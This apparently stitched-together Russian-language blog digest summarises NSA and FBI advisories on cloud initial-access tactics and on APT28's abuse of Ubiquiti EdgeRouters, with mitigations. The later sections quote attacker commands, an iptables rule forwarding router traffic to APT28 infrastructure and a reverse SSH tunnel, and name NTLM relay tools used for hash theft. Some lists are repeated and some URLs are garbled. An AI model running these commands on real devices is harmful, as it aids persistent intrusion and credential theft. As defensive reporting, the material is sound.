Документ под названием «cyber actors adapt tactics for initial cloud access», опубликованный Агентством национальной безопасности (АНБ) предупреждает, об адаптации тактики для получения первоначального доступа к облачным сервисам, а не для использования уязвимостей локальной сети.

Документ содержит ценную информацию и рекомендации для организаций по защите от кибер-профессионалов, нацеленных на облачные сервисы. Однако динамичный характер киберугроз и сложность облачных сред означают, что организации должны постоянно обновлять свои методы обеспечения безопасности, а не полагаться исключительно на статические рекомендации.

Преимущества:

📌 Осведомлённость: документ повышает осведомлённость об изменении тактики в сторону облачных сервисов, что имеет решающее значение для понимания организациями текущего ландшафта угроз.

📌 Подробные TTP: он предоставляет подробную информацию о тактиках, методах и процедурах (TTP), используемых участниками, включая использование сервисных и неактивных учётных записей, что может помочь организациям выявить потенциальные угрозы и уязвимости.

📌 Секторальная информация: описывается расширение охват таких секторов, как авиация, образование, правоохранительные органы и военные организации, предлагая отраслевую информацию, которая может помочь этим отраслям укрепить свою обороноспособность.

📌Стратегии смягчения последствий: предлагает практические стратегии смягчения последствий, которые организации могут реализовать для усиления своей защиты от первоначального доступа со стороны субъектов, таких как внедрение MFA и управление системными учётными записями.

Недостатки:

📌 Ресурсоёмкость: реализация рекомендуемых мер по снижению рисков может потребовать значительных ресурсов, что может оказаться затруднительным для небольших организаций с ограниченными бюджетами и персоналом в области кибербезопасности.

📌Сложность облачной безопасности: в документе указываются проблемы, присущие обеспечению безопасности облачной инфраструктуры, которые могут потребовать специальных знаний и навыков, которыми обладают не все организации.

📌Развивающаяся тактика: хотя в документе представлены текущие ТТП, тактика участников постоянно развивается, а это означает, что защита, основанная исключительно на этих рекомендациях, может быстро устареть.

📌Потенциал чрезмерного акцента на конкретных угрозах: слишком большое внимание к таким субъектам может привести к тому, что организации пренебрегут другими векторами угроз, которые столь же опасны, но не описаны в документе.

📌Модель общей ответственности: документ подразумевает модель общей ответственности за облачную безопасность, что может привести к путанице в разделении обязанностей по обеспечению безопасности между поставщиками облачных услуг и клиентами.

📌Ложное чувство безопасности: у организаций может возникнуть ложное чувство безопасности, полагаясь на предложенные меры по смягчению последствий, не принимая во внимание необходимость динамической и адаптивной системы безопасности для реагирования на новые угрозы.

Также доступен аудио подкаст на Mave (или выбираем из списка другую подкаст площадку)

📌Внедрение многофакторную аутентификацию (MFA). MFA — это один из наиболее эффективных способов защиты учётных записей пользователей от компрометации. Требуя несколько форм проверки, MFA значительно затрудняет злоумышленникам получение несанкционированного доступа, даже если они получили учётные данные пользователя.

📌Регулярная установка исправлений и обновлений. Поддержание актуальности программного обеспечения и систем с использованием последних исправлений имеет решающее значение для устранения брешей в безопасности, которыми могут воспользоваться злоумышленники. Должен быть установлен регулярный процесс управления исправлениями, чтобы обеспечить своевременное применение обновлений.

📌Сегментация сети. Разделение сети на более мелкие контролируемые сегменты ограничивает возможность злоумышленника перемещаться внутри сети и получать доступ к конфиденциальным областям. Сегментация также помогает сдерживать потенциальные нарушения в меньшем подмножестве сети.

📌Защита конечных точек. Развёртывание расширенных решений для защиты конечных точек может помочь обнаружить и предотвратить вредоносные действия на устройствах, имеющих доступ к сети организации. Это включает в себя использование антивирусного программного обеспечения, систем предотвращения вторжений на базе хоста и инструментов обнаружения и реагирования на конечных точках (EDR).

📌Обучение по вопросам безопасности. Обучение сотрудников рискам и передовым методам кибербезопасности имеет важное значение для предотвращения атак социальной инженерии, таких как фишинг. Регулярное обучение может помочь создать культуру осведомлённости о безопасности внутри организации.

📌Контроль доступа с наименьшими привилегиями. Обеспечение пользователей только правами доступа, необходимыми для их роли, помогает минимизировать потенциальное воздействие компрометации учётной записи. Средства контроля доступа должны регулярно пересматриваться и корректироваться по мере необходимости.

📌Планирование реагирования на инциденты. Наличие чётко определённого и проверенного плана реагирования на инциденты позволяет организациям быстро и эффективно реагировать на инциденты безопасности, сводя к минимуму ущерб и восстанавливая операции как можно скорее.

📌Непрерывный мониторинг и обнаружение. Реализация возможностей непрерывного мониторинга и обнаружения может помочь выявить подозрительные действия на раннем этапе. Сюда входит использование систем управления информацией о безопасности и событиями (SIEM), систем обнаружения вторжений (IDS) и анализа сетевого трафика.

📌Безопасная конфигурация и усиление защиты. Системы должны быть надёжно настроены и защищены от атак. Это включает в себя отключение ненужных служб, применение параметров безопасной конфигурации и обеспечение включения функций безопасности.

📌Резервное копирование и восстановление. Регулярное резервное копирование критически важных данных и систем, а также надёжные процедуры восстановления необходимы для устойчивости к программам-вымогателям и другим разрушительным атакам. Резервные копии следует регулярно проверять, чтобы гарантировать, что на них можно положиться в чрезвычайной ситуации.

Проблемы в реализации мер по смягчению последствий

Хотя эти меры по смягчению последствий теоретически эффективны, организации часто сталкиваются с проблемами при их реализации. Эти проблемы могут включать ограниченность ресурсов, сложность ИТ-среды, потребность в специализированных навыках и сложность балансировки безопасности с бизнес-требованиями. Кроме того, быстро меняющаяся природа киберугроз означает, что стратегии смягчения их последствий должны постоянно пересматриваться и обновляться.

Совместные усилия и обмен информацией

Чтобы преодолеть эти проблемы и повысить эффективность мер по смягчению последствий, организации могут участвовать в совместных усилиях и обмене информацией с отраслевыми партнёрами, государственными учреждениями и сообществами кибербезопасности. Такое сотрудничество обеспечивает доступ к общим знаниям, информации об угрозах и передовым практикам, которые могут информировать и улучшать усилия организации по смягчению последствий.

В изменяющемся кибер-ландшафте адаптация к целевым облачным сервисам подчёркивает кардинальный сдвиг в тактике кибершпионажа. Переход от использования уязвимостей локальной сети к прямому нацеливанию на облачные инфраструктуры знаменует собой значительную эволюцию киберугроз. В основе этого лежит решающая роль аутентификации как ключевого шага в защите облачных сетей от кибер-профессионалов.

Важность аутентификации в облачных средах

Аутентификация служит шлюзом к облачным сервисам, определяя, следует ли предоставить доступ пользователю или системе. В облачных средах, где ресурсы и данные размещаются за пределами предприятия и доступны через Интернет, невозможно переоценить важность надёжных механизмов аутентификации. В отличие от традиционных локальных систем, где есть меры физической безопасности и внутренняя сетевая защита, облачные сервисы по своей сути более подвержены воздействию Интернета. Такая уязвимость делает начальный этап аутентификации не просто мерой безопасности, а критически важным механизмом защиты от несанкционированного доступа.

Проблемы облачной аутентификации

Переход к облачным сервисам приносит с собой уникальные проблемы в реализации эффективных стратегий аутентификации. Пользователи получают доступ к облачным сервисам из разных мест, устройств и сетей, что требует эффективных механизмов аутентификации.

Масштабируемость облачных сервисов означает, что механизмы аутентификации должны быть в состоянии обрабатывать большое количество запросов на доступ без значительных задержек и ухудшения пользовательского опыта. Это требование масштабируемости и удобства для пользователя часто противоречит необходимости строгих мер безопасности, создавая хрупкий баланс, который должны соблюдать организации.

Стратегии усиления облачной аутентификации

📌Многофакторная аутентификация (MFA). MFA добавляет дополнительный уровень безопасности, требуя от пользователей предоставления двух или более факторов проверки для получения доступа. Подход снижает риск несанкционированного доступа, поскольку значительно сложнее получить несколько факторов аутентификации.

📌Адаптивная аутентификация. Механизмы адаптивной аутентификации корректируют требования в зависимости от контекста запроса доступа. Такие факторы, как местоположение, устройство и поведение пользователя, могут влиять на процесс аутентификации, что позволяет применять более строгий контроль в сценариях повышенного риска.

📌Архитектура нулевого доверия. Принятие подхода нулевого доверия к облачной безопасности, при котором ни один пользователь или система не пользуется доверием по умолчанию, может повысить эффективность аутентификации. Эта модель требует строгой проверки личности каждого кто пытается получить доступ к ресурсам, независимо от их местоположения или сети.

📌Использование биометрии. Методы биометрической аутентификации, такие как сканирование отпечатков пальцев или распознавание лиц, обеспечивают высокий уровень безопасности за счёт использования уникальных физических характеристик пользователей. Эти методы могут быть особенно эффективными для предотвращения несанкционированного доступа в облачных средах.

📌Шифрование данных аутентификации. Шифрование данных аутентификации (паролей, токенов аутентификации и другой конфиденциальной информации), как при передаче, так и при хранении, может защитить от перехвата и использования злоумышленниками.

📌Адаптация к облачным сервисам: сместился фокус с эксплуатации уязвимостей локальной сети на прямое воздействие на облачные сервисы. Это изменение является ответом на модернизацию систем и миграцию инфраструктуры в облако.

📌Аутентификация как ключевой шаг: чтобы скомпрометировать облачные сети, необходимо успешно пройти аутентификацию у поставщика облачных услуг. Предотвращение этого первоначального доступа имеет решающее значение для предотвращения компрометации.

📌Расширение таргетинга: расширена сфера воздействия на сектора, такие как, как авиация, образование, правоохранительные органы, региональные и федеральные организации, правительственные финансовые департаменты и военные организации. Это расширение указывает на стратегическую диверсификацию целей сбора разведывательной информации.

📌Использование служебных и неактивных учётных записей: подчёркивается, что за последние 12 месяцев использовались брутфорс-атаки для доступа к служебным и неактивным учётным записям. Эта тактика позволяет получить первоначальный доступ к облачным средам.

📌Профессиональный уровень атакующих: выявлена возможность осуществления компрометациии глобальной цепочки поставок, как, например, инцидент с SolarWinds в 2020 году.

📌Первая линия защиты: подчёркивается, что первая линия защиты включает предотвращения возможности первичного доступа к сервисам.

Документ под названием «cyber actors adapt tactics for initial cloud access», опубликованный Агентством национальной безопасности предупреждает, об адаптации тактики для получения первоначального доступа к облачным сервисам, а не для использования уязвимостей локальной сети.

Переход от локальных решений к облачным является ответом на то, что организации модернизируют свои системы и переходят на облачную инфраструктуру. Также кибер-кампании расширяются в сторону таких секторов, как авиация, образование, секторов, связанных региональными и федеральными, а также госучреждениями, правительственными финансовыми департаментами и военными организациями.

Реальность такова, что для взлома облачных сетей нужно только пройти аутентификацию у поставщика облачных услуг, и в случае успеха, защита будет преодолена. Другими словами, «неожиданный» аспект облачных сред: меньшая уязвимость сети по сравнению с локальными системами парадоксальным образом делает преодоление первоначального доступа наиболее эффективным.

За последний год наблюдаемые TTPs были простыми, и вместе с тем эффективными так как использовались служебные и бездействующие учётные записи. В целом публикация вызывает прохладное утешение, предполагая, что прочная основа основ безопасности всего лишь гонка на опережение специалистов по безопасности с атакующими.

Ключевые выводы

Адаптация к облачным сервисам: сместился фокус с эксплуатации уязвимостей локальной сети на прямое воздействие на облачные сервисы. Это изменение является ответом на модернизацию систем и миграцию инфраструктуры в облако.

📌Аутентификация как ключевой шаг: чтобы скомпрометировать облачные сети, необходимо успешно пройти аутентификацию у поставщика облачных услуг. Предотвращение этого первоначального доступа имеет решающее значение для предотвращения компрометации.

📌Расширение таргетинга: расширена сфера воздействия на сектора, такие как, как авиация, образование, правоохранительные органы, региональные и федеральные организации, правительственные финансовые департаменты и военные организации. Это расширение указывает на стратегическую диверсификацию целей сбора разведывательной информации.

📌Использование служебных и неактивных учётных записей: подчёркивается, что за последние 12 месяцев использовались брутфорс-атаки для доступа к служебным и неактивным учётным записям. Эта тактика позволяет получить первоначальный доступ к облачным средам.

📌Профессиональный уровень атакующих: выявлена возможность осуществления компрометациии глобальной цепочки поставок, как, например, инцидент с SolarWinds в 2020 году.

📌Первая линия защиты: подчёркивается, что первая линия защиты включает предотвращения возможности первичного доступа к сервисам.

В декабре 2023 года APT28 разработали MASEPIE, небольшой бэкдор на Python, способный выполнять произвольные команды на машинах-жертвах. Расследование ФБР показало, что скомпрометированные Ubiquiti EdgeRouters были использованы в качестве C2-инфраструктуры для бэкдоров MASEPIE.

C2 инфраструктура

Хотя APT28 не развёртывает MASEPIE на самих EdgeRouters, скомпрометированные маршрутизаторы использовались в качестве инфраструктуры C2 для связи с бэкдорами MASEPIE и контроля над ними, установленными в системах, принадлежащих целевым лицам и организациям.

Данные, отправляемые на EdgeRouters, действующие как серверы C2, были зашифрованы с использованием случайно сгенерированного 16-символьного ключа AES, для затруднения обнаружения и анализа трафика.

Функциональность бэкдора MASEPIE

MASEPIE — это бэкдор на основе Python, который позволяет выполнять произвольные команды в заражённых системах. Этот бэкдор предоставляет возможности удалённого управления для выполнения действий:

📌 эксфильтрация данных

📌 распространение внутри скомпрометированной сети

📌 развёртывание дополнительных вредоносных программ или инструментов

📌 выполнение команд разведки и сбора разведданных

Смягчение последствий 

Чтобы снизить риск появления бэкдоров MASEPIE и использования скомпрометированных EdgeRouters в качестве C2-инфраструктуры, следует предпринять следующие шаги:

📌 Внедрение защиты конечных устройств: развёртывание решений для защиты конечных устройств, способных обнаруживать и предотвращать выполнение MASEPIE и других вредоносных скриптов Python или бэкдоров.

📌 Мониторинг сетевого трафика: отслеживание сетевого трафика на предмет любых подозрительных зашифрованных сообщений или подключений к известной инфраструктуре, включая скомпрометированные EdgeRouters.

📌 Анализ сетевых журналов: просмотр сетевых журналов на предмет признаков зашифрованных сообщений или подключений к EdgeRouters, которые могут действовать как серверы C2.

Прокси-сервер и туннельная инфраструктура

APT28 использовали скомпрометированные Ubiquiti EdgeRouters для установления прокси-соединений и SSH-туннелей к подконтрольной инфраструктуре для поддержания постоянного доступа и контроля над скомпрометированными устройствами даже после смены пароля или других попыток взлома.

Reverse proxy-подключения

Были использованы правила iptables в EdgeRouters для установления подключений, например:

iptables -t nat -I PREROUTING -d <router IP address> -p tcp -m tcp --dport 4443 -j DNAT -to-destination <APT28 dedicated infrastructure>: 10081

Это правило iptables перенаправляет входящий трафик через порт 4443 EdgeRouter в выделенную инфраструктуру на порту 10081.

Reverse SSH-туннели

Кроме того, APT28 загрузили контролируемые SSH-RSA-ключи на скомпрометированные EdgeRouters для создания SSH-туннелей. Эти туннели позволяют получать доступ к скомпрометированным устройствам даже после смены пароля или других попыток взлома.

Следующие каталоги необходимо просмотреть на предмет неизвестных ключей RSA:

/root/.ssh/

/home/<user>/.ssh/

Наличие неизвестных ключей RSA в этих каталогах может указывать на то, что их использовали для доступа к EdgeRouters в обход аутентификации по паролю.

Кроме того, безопасники могут проверить журналы сетевого трафика на EdgeRouters для идентификации аномальные сеансы SSH:

ssh –i <RSA key> -p <port> root@<router IP address> -R <router IP address>:<port>

Эта команда устанавливает SSH-туннель от EdgeRouter к инфраструктуре, позволяя поддерживать удалённый доступ и контроль над скомпрометированным устройством.

APT28 использовали CVE-2023–23397, уязвимость с критическим повышением привилегий в Microsoft Outlook в Windows, для облегчения утечки учётных данных NTLMv2. Эта 0day-уязвимость позволяет передавать хэши Net-NTLMv2 в подконтрольную инфраструктуру.

Для использования CVE-2023–23397 и сбора учётных данных NTLMv2 использованы два общедоступных инструмента:

📌 http://ntlmrelayx.py: инструмент является частью Impacket suite, набора классов Python для работы с сетевыми протоколами. APT28 использовали http://ntlmrelayx.py для выполнения relay-атак NTLM [T1557] и облегчения утечки учётных данных NTLMv2.

📌 Responder: инструмент, предназначенный для сбора и передачи хэшей NTLMv2 путём настройки подконтрольного сервера аутентификации [T1556] для сбора учётных данных NTLMv2 от целевых учётных записей Outlook.

Безопасники могут выполнять поиск файлов журналов, а также наличия http://ntlmrelayx.py и Responder.db, Responder-Session.log для выявления потенциальной активности, связанной с эксплуатацией CVE-2023–23397.

Смягчение последствий

Чтобы снизить риск использования CVE-2023–23397 и утечки учётных данных NTLMv2 следует предпринять следующие шаги:

📌 Применение исправления Microsoft: Microsoft выпустила исправление для CVE-2023–23397.

📌 Проверка на наличие скомпрометированных EdgeRouters: необходимо использовать предоставленную информацию для проверки EdgeRouters на наличие http://ntlmrelayx.py, связанных с ними файлов журналов, провести идентификацию и изоляцию всех скомпрометированных маршрутизаторов для дальнейшего расследования.

📌 Сброс скомпрометированных учётных данных: при обнаружении утечки учётных данных NTLMv2 следует сбросить соответствующие учётные записи пользователей и применить дополнительные меры безопасности, такие как MFA.

📌 Применение рекомендуемых мер по устранению неполадок: меры по устранению включают сброс настроек оборудования к заводским настройкам, обновление до последней версии встроенного ПО и изменение имён пользователей и паролей по умолчанию.

APT28 размещали скрипты Python на скомпрометированных Ubiquiti EdgeRouters для сбора и проверки украденных учётных данных учётной записи веб-почты. Эти сценарии обычно хранятся вместе со связанными файлами журналов в домашнем каталоге скомпрометированного пользователя, например:

📌 /home/<compromised user>/srv/http://core.py

📌 /home/<compromised user>/srv/debug.txt

ФБР заявило о восстановлении подробных файлов журналов, содержащие информацию об активности APT28 на скомпрометированных EdgeRouters.

Пользовательские скрипты на Python

📌 Размещённые крипты Python служат для сбора и проверки украденных данных учётной записи веб-почты. APT28 используют эти скрипты как часть своих операций сбора учётных данных, нацеленных на конкретных пользователей веб-почты.

📌 Скрипты предназначены для автоматического устранения проблем с капчей на страницах входа в веб-почту, позволяя атакующим обойти эту меру безопасности и получить несанкционированный доступ к целевым учётным записям. Чтобы достичь этого, скрипты устанавливают соединения с API endpoint api[.]anti-captcha[.]com, который используется APT28 для решения проблем с капчей.

Yara-правила для обнаружения

📌 Чтобы помочь найти скрипты сбора учётных данных на скомпрометированных EdgeRouters, ФБР разработало правило Yara. Yara — это инструмент, используемый для идентификации и классификации вредоносных программ на основе текстовых или двоичных шаблонов. Предоставленное ФБР правило Yara можно использовать для сканирования файловой системы EdgeRouters и обнаружения присутствия скриптов Python.

📌 Помимо использования правила Yara, можно также запрашивать сетевой трафик на предмет подключений к api[.]anti-captcha[.]com endpoint. Обнаружение трафика, направленного к этому API, может помочь выявить скомпрометированные EdgeRouters и потенциальные действия по сбору учётных данных.

Смягчение последствий

📌 При обнаружении наличия скриптов или подключений к api[.]anti-captcha[.]com endpoint сетевые необходимо предпринять немедленные действия для снижения риска и исследовать степень компрометации. Изоляция затронутых маршрутизаторов Edge от сети

📌 Выполнение тщательного анализа сценариев и файлов журналов для понимания объема операций по сбору учётных данных

📌 Сброс паролей для потенциально скомпрометированных учётных записей веб-почты

APT28 использовали учётные данные по умолчанию и троянизированные серверные процессы OpenSSH для доступа к Ubiquiti EdgeRouters, связанеые с Moobot, ботнетом на базе Mirai, который заражает устройства Интернета вещей (IoT) с использованием уязвимостей, которые можно использовать удалённо, таких как слабые пароли или пароли по умолчанию.

Троянские файлы OpenSSH-сервера

Троянские бинарные OpenSSH, загруженные с packinstall[.]kozow [.]com, заменили оригинальные бинарные файлы на EdgeRouters с целью удалённо обходить аутентификацию и получать несанкционированный доступ к скомпрометированным маршрутизаторам.

Ботнет Moobot известен своей способностью использовать уязвимости в устройствах Интернета вещей, особенно с ненадёжными паролями или паролями по умолчанию. Заменяя законные двоичные файлы сервера OpenSSH троянскими версиями, APT28 могут поддерживать постоянный доступ к скомпрометированным EdgeRouters и использовать их в различных вредоносных целях.

Ботнет на базе Mirai

Moobot — это ботнет на базе Mirai и является производным от Mirai, которая впервые появилась в 2016 году. Mirai был предназначен для сканирования и заражения IoT-устройств путём использования распространённых уязвимостей и учётных данных по умолчанию. Как только устройство заражено, оно становится частью ботнета и может использоваться для распределённых атак типа «отказ в обслуживании» (DDoS), credential stuffing и других вредоносных действий.

Воздействие на маршрутизаторы EdgeRouters

При наличии троянизированных процессов OpenSSH APT28 могут поддерживать постоянный доступ к скомпрометированным маршрутизаторы и использовать их в качестве платформы для вредоносных действий:

📌 Сбор учётных данных

📌 Сбор NTLMv2

📌 Проксирование сетевого трафика

📌 Размещение целевых страниц для защиты от фишинга и пользовательских инструментов

представлен анализ рекомендаций Агентства национальной безопасности (АНБ) по борьбе с LOTL-атаками; включает в себя изучение подхода к тактике LOTL, подразумевающей использование легитимных инструментов в различных целях и служит ценным ресурсом для специалистов по безопасности, ИТ-персонала, политиков и заинтересованных сторон в различных отраслях, предоставляя им знания для защиты от сложных LOTL-угроз.